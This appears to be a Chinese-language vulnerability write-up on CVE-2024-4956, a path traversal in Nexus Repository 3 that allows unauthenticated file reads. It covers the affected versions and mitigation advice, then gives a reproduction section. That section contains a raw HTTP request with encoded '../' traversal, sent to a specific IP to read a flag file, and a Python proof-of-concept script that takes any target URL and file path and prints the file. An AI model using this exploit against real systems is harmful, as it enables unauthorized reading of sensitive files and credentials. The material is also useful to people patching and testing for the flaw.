0%

CVE-2024-4956

nexus3任意文件读取

漏洞简介:

Nexus Repository Manager 是一个存储库管理器,用于组织、存储和分发开发所需的工件。
在 Nexus Repository 3.68.1 之前的版本中发现了一个路径遍历漏洞。此漏洞允许攻击者构造一个 URL 来下载 Nexus Repository 应用程序范围之外的系统文件,而无需任何身份验证。这会带来重大风险,因为它可能会暴露敏感的系统文件,并可能危及安装 Nexus Repository 的环境的安全。
建议尽快将 Nexus Repository 更新至 3.68.1 或更高版本,以减轻此漏洞的影响。

漏洞原理:

攻击者可以制作一个 URL 来返回任何文件作为下载,包括 Sonatype Nexus Repository 3 应用程序范围之外的系统文件。

漏洞利用前提:

攻击者必须具有 Sonatype Nexus Repository 3 实例的网络访问权限。

漏洞利用版本

该漏洞影响 Sonatype Nexus Repository Manager 3.0 至 3.68.0 版本。

防御措施

升级 Nexus Repository 是消除此漏洞的推荐方法。但是,对于无法立即升级的部署,可以使用即时缓解选项:
参考:
https://support.sonatype.com/hc/en-us/articles/29412417068819

修复建议:

l 定期更新系统补丁,减少系统漏洞,提升服务器的安全性。
l 加强系统和网络的访问控制,修改防火墙策略,关闭非必要的应用端口或服务,减少将危险服务(如SSH、RDP等)暴露到公网,减少攻击面。
l 使用企业级安全产品,提升企业的网络安全性能。
l 加强系统用户和权限管理,启用多因素认证机制和最小权限原则,用户和软件权限应保持在最低限度。
l 启用强密码策略并设置为定期修改。
漏洞复现

1
2
3
4
5
6
7
8
GET /%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../flag HTTP/1.1
Host: 8.147.132.32:25912
Cookie: NX-ANTI-CSRF-TOKEN=0.06856643752905667; apt.uid=AP-YFGMCGUNNIFB-2-1752740457278-79341969.0.2.6b933aba-006b-4c12-b4b5-a0ddc2adfcf4; apt.sid=AP-YFGMCGUNNIFB-2-1752740457277-69755973
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
Accept: */*
Referer: http://8.147.132.32:25912/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

image-20250717164237909

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
url = input("请输入目标url:")
file = input("请输入需要读取的文件路径:")

def poc(url,file):
url = url + "//%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f.." + file
headers1 = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0"
}
response = requests.get(url,headers=headers1)
if response.status_code == 200:
print("漏洞利用成功")
print(response.text)
else:
print("利用失败")

if __name__ == "__main__":
poc(url,file)